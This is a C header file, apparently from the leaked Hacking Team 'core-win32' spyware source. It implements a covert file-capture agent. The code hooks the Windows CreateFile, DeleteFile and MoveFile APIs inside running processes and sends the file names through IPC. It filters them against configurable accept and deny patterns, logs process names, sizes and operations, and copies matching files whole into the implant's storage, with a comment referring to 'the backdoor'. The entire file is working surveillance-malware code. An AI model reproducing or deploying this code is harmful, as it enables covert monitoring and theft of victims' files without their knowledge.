hackedteam/core-win32

View on GitHub
HM_ProcessMonitors.h

Summary

Maintainability
Test Coverage
#include <shlwapi.h>

#define MAXFILELEN (_MAX_PATH * 2 + 2) // Lunghezza per un nome widechar

// Struttura usata internamente  per
// i pattern di cattura file
typedef struct {
    DWORD accept_count;
    DWORD deny_count;
    WCHAR **accept_list;
    WCHAR **deny_list;
} pattern_list_struct;
pattern_list_struct pattern_list;

typedef DWORD (__stdcall *GetCurrentProcessId_t)(void);
typedef struct {
    COMMONDATA;
    GetCurrentProcessId_t pGetCurrentProcessId;
} CreateFileStruct;
CreateFileStruct CreateFileData;

typedef struct {
    char szFileName[MAXFILELEN];
    DWORD dwOperation;
    DWORD dwPid;
} IPCCreateFileStruct;

BOOL bPM_FileAgentStarted = FALSE; // Flag che indica se il monitor e' attivo o meno
DWORD min_fsize = 0, max_fsize = 0; // Dimensione minima e massima di un file che puo' essere catturato 
BOOL log_file_open = TRUE;
nanosec_time min_date; // Data minima di un file che puo' essere catturato

// Dichiarato in SM_EventHandlers.h
extern BOOL IsGreaterDate(nanosec_time *, nanosec_time *);


// -- Wrapper CreateFileA e CreateFileW
static HANDLE _stdcall PM_CreateFile(DWORD ARG1,
                                      DWORD ARG2,
                                      DWORD ARG3,
                                      DWORD ARG4,
                                      DWORD ARG5,
                                      DWORD ARG6,
                                      DWORD ARG7)
{
    IPCCreateFileStruct IPCFileData;
    char *pTmp;
    DWORD i;
    BOOL *Active;
    
    MARK_HOOK

    pTmp = NULL;

    INIT_WRAPPER(CreateFileStruct);

    CALL_ORIGINAL_API(7);

    Active = (BOOL *)pData->pHM_IpcCliRead(PM_FILEAGENT);

    // Controlla se il monitor e' attivo
    if (!Active || !(*Active) || ((HANDLE) ret_code) == INVALID_HANDLE_VALUE)
        return (HANDLE) ret_code;
    
    pTmp = (char *)ARG1;
    
    if( !pTmp || !((DWORD)pData->pHM_IpcCliWrite))
        return (HANDLE) ret_code;

    for (i=0; i<(MAXFILELEN-2); i+=2) {
        IPCFileData.szFileName[i]   = pTmp[i];
        IPCFileData.szFileName[i+1] = pTmp[i+1];
        if (IPCFileData.szFileName[i]==0 && IPCFileData.szFileName[i+1]==0)
            break;
    }

    // Forza la terminazione
    IPCFileData.szFileName[i]   = 0;
    IPCFileData.szFileName[i+1] = 0;

    IPCFileData.dwOperation = ARG2;
    IPCFileData.dwPid = pData->pGetCurrentProcessId();
        
    pData->pHM_IpcCliWrite(PM_FILEAGENT, (BYTE *)&IPCFileData, sizeof(IPCCreateFileStruct), 0, IPC_DEF_PRIORITY);

    return (HANDLE) ret_code;
}


static DWORD PM_CreateFile_setup(HMServiceStruct * pData)
{
    HMODULE hMod;

    VALIDPTR(hMod = GetModuleHandle("KERNEL32.DLL"))
    VALIDPTR(CreateFileData.pGetCurrentProcessId = (GetCurrentProcessId_t) HM_SafeGetProcAddress(hMod, "GetCurrentProcessId"))

    CreateFileData.pHM_IpcCliRead = pData->pHM_IpcCliRead;
    CreateFileData.pHM_IpcCliWrite = pData->pHM_IpcCliWrite;
    CreateFileData.dwHookLen = 900;
    
    // --- se si tratta di un rundll32 non gli facciamo 
    // fare gli hook per il file capture. Perderemo magari alcuni
    // file aperti (molto improbabile), ma eviteremo loop infiniti
    // se la backdoor dovesse partire wrappata
    char proc_path[DLLNAMELEN];
    char *proc_name;
    ZeroMemory(proc_path, sizeof(proc_path));
    FNC(GetModuleFileNameA)(NULL, proc_path, sizeof(proc_path)-1);
    proc_name = strrchr(proc_path, '\\');

    if (proc_name) {
        proc_name++;
        if (!stricmp(proc_name, "rundll32.exe"))
            return 1;
    } 

    return 0;
}

// -- Wrapper DeleteFileA e DeleteFileW
static BOOL _stdcall PM_DeleteFile(DWORD ARG1)
{
    IPCCreateFileStruct IPCFileData;
    char *pTmp;
    DWORD i,j;
    BOOL *Active;

    MARK_HOOK

    pTmp = NULL;
    
    INIT_WRAPPER(CreateFileStruct);

    CALL_ORIGINAL_API(1);

    Active = (BOOL *)pData->pHM_IpcCliRead(PM_FILEAGENT);

    // Controlla se il monitor e' attivo e se la funzione
    // e' tornata con successo
    if (!Active || !(*Active) || ((BOOL) ret_code) == FALSE)
        return (BOOL) ret_code;
    
    pTmp = (char *)ARG1;
    
    if( !pTmp || !((DWORD)pData->pHM_IpcCliWrite))
        return (BOOL) ret_code;

    for (i=0; i<(MAXFILELEN-2); i+=2) {
        IPCFileData.szFileName[i]   = pTmp[i];
        IPCFileData.szFileName[i+1] = pTmp[i+1];
        if (IPCFileData.szFileName[i]==0 && IPCFileData.szFileName[i+1]==0)
            break;
    }

    // Forza la terminazione
    IPCFileData.szFileName[i]   = 0;
    IPCFileData.szFileName[i+1] = 0;

    IPCFileData.dwOperation = DELETE; 
    IPCFileData.dwPid = pData->pGetCurrentProcessId();
        
    pData->pHM_IpcCliWrite(PM_FILEAGENT, (BYTE *)&IPCFileData, sizeof(IPCCreateFileStruct), 0, IPC_DEF_PRIORITY);

    return (BOOL) ret_code;
}

// -- Wrapper MoveFileA e MoveFileW
static BOOL _stdcall PM_MoveFile(DWORD ARG1, DWORD ARG2)
{
    IPCCreateFileStruct IPCFileData;
    char *pTmp;
    DWORD i,j;
    BOOL *Active;
    
    MARK_HOOK

    pTmp = NULL;

    INIT_WRAPPER(CreateFileStruct);

    CALL_ORIGINAL_API(2);

    Active = (BOOL *)pData->pHM_IpcCliRead(PM_FILEAGENT);

    // Controlla se il monitor e' attivo e se la funzione
    // e' tornata con successo
    if (!Active || !(*Active) || ((BOOL) ret_code) == FALSE)
        return (BOOL) ret_code;
    
    pTmp = (char *)ARG1;
    
    if( !pTmp || !((DWORD)pData->pHM_IpcCliWrite))
        return (BOOL) ret_code;

    // Notifica il file sorgente come cancellato
    for (i=0; i<(MAXFILELEN-2); i+=2) {
        IPCFileData.szFileName[i]   = pTmp[i];
        IPCFileData.szFileName[i+1] = pTmp[i+1];
        if (IPCFileData.szFileName[i]==0 && IPCFileData.szFileName[i+1]==0)
            break;
    }

    // Forza la terminazione
    IPCFileData.szFileName[i]   = 0;
    IPCFileData.szFileName[i+1] = 0;

    IPCFileData.dwOperation = DELETE;         
    IPCFileData.dwPid = pData->pGetCurrentProcessId();
    pData->pHM_IpcCliWrite(PM_FILEAGENT, (BYTE *)&IPCFileData, sizeof(IPCCreateFileStruct), 0, IPC_DEF_PRIORITY);


    // Notifica il file destinazione come creato
    pTmp = (char *)ARG2;
    if( !pTmp || !((DWORD)pData->pHM_IpcCliWrite))
        return (BOOL) ret_code;

    for (i=0; i<(MAXFILELEN-2); i+=2) {
        IPCFileData.szFileName[i]   = pTmp[i];
        IPCFileData.szFileName[i+1] = pTmp[i+1];
        if (IPCFileData.szFileName[i]==0 && IPCFileData.szFileName[i+1]==0)
            break;
    }

    // Forza la terminazione
    IPCFileData.szFileName[i]   = 0;
    IPCFileData.szFileName[i+1] = 0;

    IPCFileData.dwOperation = GENERIC_WRITE;         
    IPCFileData.dwPid = pData->pGetCurrentProcessId();
    pData->pHM_IpcCliWrite(PM_FILEAGENT, (BYTE *)&IPCFileData, sizeof(IPCCreateFileStruct), 0, IPC_DEF_PRIORITY);

    return (BOOL) ret_code;
}

// Torna TRUE se il path e' su harddisk
BOOL IsFixedDrive(char *path)
{
    UINT drv_type;
    char driver_letter[4];
    if (path[1]!=':' || path[2]!='\\')
        return FALSE;

    memcpy(driver_letter, path, 4);
    driver_letter[3]=0;
    drv_type = GetDriveType(driver_letter);

    if (drv_type==DRIVE_REMOVABLE || drv_type==DRIVE_REMOTE || drv_type==DRIVE_CDROM)
        return FALSE;

    return TRUE;
}

// Popola la lista di pattern da includere/escludere
void PopulatePatternList(JSONObject conf_list)
{
    DWORD i;
    JSONArray accept, deny;

    // Libera una precedente lista (se presente)
    for (i=0; i<pattern_list.accept_count; i++)
        SAFE_FREE(pattern_list.accept_list[i]);
    SAFE_FREE(pattern_list.accept_list);
    pattern_list.accept_count = 0;

    for (i=0; i<pattern_list.deny_count; i++)
        SAFE_FREE(pattern_list.deny_list[i]);
    SAFE_FREE(pattern_list.deny_list);
    pattern_list.deny_count = 0;

    // Vede se deve loggare i file open
    log_file_open = (BOOL) conf_list[L"open"]->AsBool();
    accept = conf_list[L"accept"]->AsArray();
    deny = conf_list[L"deny"]->AsArray();

    // Alloca le due liste
    if (accept.size() > 0) {
        pattern_list.accept_list = (WCHAR **)malloc(accept.size() * sizeof(WCHAR *));
        if (!pattern_list.accept_list)
            return;
    }

    if (deny.size() > 0) {
        pattern_list.deny_list = (WCHAR **)malloc(deny.size() * sizeof(WCHAR *));
        if (!pattern_list.deny_list) {
            SAFE_FREE(pattern_list.accept_list);
            return;
        }
    }

    pattern_list.accept_count = accept.size();
    pattern_list.deny_count = deny.size();

    // ...e parsa tutte le stirnghe unicode
    for (i=0; i<pattern_list.accept_count; i++) 
        pattern_list.accept_list[i] = wcsdup(accept[i]->AsString().c_str());
    for (i=0; i<pattern_list.deny_count; i++) 
        pattern_list.deny_list[i] = wcsdup(deny[i]->AsString().c_str());
}

// Compara due stringhe con wildcard
// torna 0 se le stringhe sono diverse
int CmpWild(const unsigned char *wild, const unsigned char *string) {
  const unsigned char *cp = NULL, *mp = NULL;

  while ((*string) && (*wild != '*')) {
    if ((toupper((unsigned int)*wild) != toupper((unsigned int)*string)) && (*wild != '?')) {
      return 0;
    }
    wild++;
    string++;
  }

  while (*string) {
    if (*wild == '*') {
      if (!*++wild) {
        return 1;
      }
      mp = wild;
      cp = string+1;
    } else if ((toupper((unsigned int)*wild) == toupper((unsigned int)*string)) || (*wild == '?')) {
      wild++;
      string++;
    } else {
      wild = mp;
      string = cp++;
    }
  }

  while (*wild == '*') {
    wild++;
  }
  return !*wild;
}

// Compara due stringhe con wildcard
// torna 0 se le stringhe sono diverse
int CmpWildW(WCHAR *wild, WCHAR *string) 
{
    WCHAR *cp = NULL, *mp = NULL;

    while ((*string) && (*wild != '*')) {
        if ((towupper((WCHAR)*wild) != towupper((WCHAR)*string)) && (*wild != '?')) {
            return 0;
        }
        wild++;
        string++;
    }

    while (*string) {
        if (*wild == '*') {
            if (!*++wild) {
                return 1;
            }

            mp = wild;
            cp = string+1;
        } else if ((towupper((WCHAR)*wild) == towupper((WCHAR)*string)) || (*wild == '?')) {
            wild++;
            string++;
        } else {
            wild = mp;
            string = cp++;
        }
    }

    while (*wild == '*') {
        wild++;
    }

    return !*wild;
}



// Verifica le condizioni per la copia del file
// nello storage.
BOOL IsToCopy(WCHAR *file_name, BOOL *exceed_size)
{
    HANDLE hfile;
    BY_HANDLE_FILE_INFORMATION file_info;
    nanosec_time file_date;

    // XXX Controlla se e' su un disco rimovibile 
    //if (IsFixedDrive(file_name)) 
        //return FALSE;

    // Prende le informazioni del file 
    hfile = FNC(CreateFileW)(file_name, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, NULL);
    if (hfile == INVALID_HANDLE_VALUE)
        return FALSE;
    if (!FNC(GetFileInformationByHandle)(hfile, &file_info)) {
        CloseHandle(hfile);
        return FALSE;
    }
    CloseHandle(hfile);
    
    // Check sui vincoli di dimensione
    if (file_info.nFileSizeHigh>0 || file_info.nFileSizeLow<min_fsize || file_info.nFileSizeLow>=max_fsize)
        *exceed_size = TRUE;
    else 
        *exceed_size = FALSE;

    // Check sul vincolo della data
    file_date.hi_delay = file_info.ftLastWriteTime.dwHighDateTime;
    file_date.lo_delay = file_info.ftLastWriteTime.dwLowDateTime;
    if (IsGreaterDate(&min_date, &file_date))
        return FALSE;

    return TRUE;
}


// Controlla la lista di pattern da accettare e escludere
// torna TRUE se il pattern va loggato.
// Per passare, il nome deve matchare la accept e poi non matchare la deny.
// Se l'accept e' vuota non viene loggato niente.
BOOL IsToLog(WCHAR *file_name, WCHAR *proc_name)
{
    DWORD i;
    BOOL accept = FALSE;
    WCHAR *check_filename, check_procname[MAX_PATH], *temp_ptr, consistent_proc_name[MAX_PATH];

    if (!file_name)
        return FALSE;

    // Se non sono riuscito a leggere il nome del processo, lo setto a un valore che potra' matchare
    // solo con '*'
    if (proc_name)
        _snwprintf_s(consistent_proc_name, sizeof(consistent_proc_name)/sizeof(WCHAR), _TRUNCATE, L"%s", proc_name);        
    else
        _snwprintf_s(consistent_proc_name, sizeof(consistent_proc_name)/sizeof(WCHAR), _TRUNCATE, L"UNKNOWN");        

    // Cerca nella lista dei pattern di accept
    for(i=0; i<pattern_list.accept_count; i++) {
        if (!pattern_list.accept_list[i]) 
            continue;
        // Se e' nel formato processo|file
        if (check_filename = wcschr(pattern_list.accept_list[i], L'|')) {
            check_filename++;
            _snwprintf_s(check_procname, sizeof(check_procname)/sizeof(WCHAR), _TRUNCATE, L"%s", pattern_list.accept_list[i]);        
            if (temp_ptr = wcschr(check_procname, L'|')) 
                *temp_ptr = 0;
        } else {
            check_filename = pattern_list.accept_list[i];
            _snwprintf_s(check_procname, sizeof(check_procname)/sizeof(WCHAR), _TRUNCATE, L"*");        
        }

        if (CmpWildW(check_filename, file_name) && CmpWildW(check_procname, consistent_proc_name)) {
            accept = TRUE;
            break;
        }    
    }

    if (!accept)
        return FALSE;

    // Cerca nella lista dei pattern di deny
    for(i=0; i<pattern_list.deny_count; i++) {
        if (!pattern_list.deny_list[i]) 
            continue;
        // Se e' nel formato processo|file
        if (check_filename = wcschr(pattern_list.deny_list[i], L'|')) {
            check_filename++;
            _snwprintf_s(check_procname, sizeof(check_procname)/sizeof(WCHAR), _TRUNCATE, L"%s", pattern_list.deny_list[i]);        
            if (temp_ptr = wcschr(check_procname, L'|')) 
                *temp_ptr = 0;
        } else {
            check_filename = pattern_list.deny_list[i];
            _snwprintf_s(check_procname, sizeof(check_procname)/sizeof(WCHAR), _TRUNCATE, L"*");        
        }

        if (CmpWildW(check_filename, file_name) && CmpWildW(check_procname, consistent_proc_name)) 
            return FALSE;
    }
    
    return TRUE;
}

#define READ_MODE   0x80000000
#define WRITE_MODE  0x40000000
#define EXEC_MODE   0x20000000
#define DELETE_MODE 0x00010000
DWORD __stdcall PM_FileAgentDispatch(BYTE * msg, DWORD dwLen, DWORD dwFlags, FILETIME *dummy)
{
    HANDLE hfile;
    DWORD hi_dim = 0, lo_dim = 0, ops;
    WCHAR *proc_name_to_compare;
    char *proc_name;
    BOOL exceed_size = FALSE;
    WCHAR *utf16_file_name;

    utf16_file_name = (WCHAR *)((IPCCreateFileStruct *) msg)->szFileName;

    proc_name_to_compare = HM_FindProcW(((IPCCreateFileStruct *)msg)->dwPid);

    // Logga il nome del file se e' incluso nella lista dei pattern
    if(IsToLog(utf16_file_name, proc_name_to_compare)) {
        if (log_file_open) {
            // Scrive anche la dimensione del file.
            hfile = FNC(CreateFileW)(utf16_file_name, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
            if (hfile != INVALID_HANDLE_VALUE) {
                lo_dim = FNC(GetFileSize)(hfile, &hi_dim);
                if (lo_dim == INVALID_FILE_SIZE) {
                    lo_dim = hi_dim = 0;
                }
                CloseHandle(hfile);
            }

            // Logga i dati del file aperto (nome, dimensione, etc.)
            bin_buf tolog;
            struct tm tstamp;
            DWORD delimiter = ELEM_DELIMITER;

            ops = ((IPCCreateFileStruct *) msg)->dwOperation;
            proc_name = HM_FindProc(((IPCCreateFileStruct *)msg)->dwPid);
            GET_TIME(tstamp);

            tolog.add(&tstamp, sizeof(tstamp));
            if (proc_name) {
                tolog.add(proc_name, strlen(proc_name)+1);
                SAFE_FREE(proc_name);
            } else
                tolog.add("UNKNOWN", strlen("UNKNOWN")+1);
            tolog.add(&hi_dim, sizeof(hi_dim));
            tolog.add(&lo_dim, sizeof(lo_dim));
            tolog.add(&ops, sizeof(ops));
            tolog.add(utf16_file_name, (wcslen(utf16_file_name)*2)+2);
            tolog.add(&delimiter, sizeof(DWORD));

            LOG_ReportLog(PM_FILEAGENT, tolog.get_buf(), tolog.get_len());
        }

        // Vede se deve copiare tutto il file nello storage
        if (IsToCopy(utf16_file_name, &exceed_size)) 
            Log_CopyFile(utf16_file_name, NULL, exceed_size, PM_FILEAGENT_CAPTURE);
    }
    SAFE_FREE(proc_name_to_compare);
    return 1;
}


DWORD __stdcall PM_FileAgentStartStop(BOOL bStartFlag, BOOL bReset)
{
    // Lo fa per prima cosa, anche se e' gia' in quello stato
    // Altrimenti quando gli agenti sono in suspended(per la sync) e ricevo una conf
    // che li mette in stop non verrebbero fermati realmente a causa del check
    // if (bPM_KeyLogStarted == bStartFlag) che considera suspended e stopped uguali.
    // Gli agenti IPC non vengono stoppati quando in suspend (cosi' cmq mettono in coda
    // durante la sync).
    if (bReset)
        AM_IPCAgentStartStop(PM_FILEAGENT, bStartFlag);

    // Se l'agent e' gia' nella condizione desiderata
    // non fa nulla.
    if (bPM_FileAgentStarted == bStartFlag)
        return 0;

    // I log va inizializzato come prima cosa...
    if (bStartFlag && !LOG_InitAgentLog(PM_FILEAGENT))
        return 0;

    // bStartFlag e' TRUE se il monitor deve essere attivato
    bPM_FileAgentStarted = bStartFlag;

    // ...e va chiuso come ultima
    if (!bStartFlag)
        LOG_StopAgentLog(PM_FILEAGENT);
        
    return 1;
}


DWORD __stdcall PM_FileAgentInit(JSONObject elem)
{
    FILETIME ftime;

    PopulatePatternList(elem);

    if ((BOOL)elem[L"capture"]->AsBool()) {
        min_fsize = (DWORD) elem[L"minsize"]->AsNumber();
        max_fsize = (DWORD) elem[L"maxsize"]->AsNumber();
        HM_TimeStringToFileTime(elem[L"date"]->AsString().c_str(), &ftime); 
        min_date.hi_delay = ftime.dwHighDateTime;
        min_date.lo_delay = ftime.dwLowDateTime;

    } else {
        min_fsize = max_fsize = 0;
        HM_TimeStringToFileTime(L"2100-01-01 00:00:00", &ftime); 
        min_date.hi_delay = ftime.dwHighDateTime;
        min_date.lo_delay = ftime.dwLowDateTime;        
    }

    return 1;
}


void PM_FileAgentRegister()
{
    AM_MonitorRegister(L"file", PM_FILEAGENT, (BYTE *)PM_FileAgentDispatch, (BYTE *)PM_FileAgentStartStop, (BYTE *)PM_FileAgentInit, NULL);
}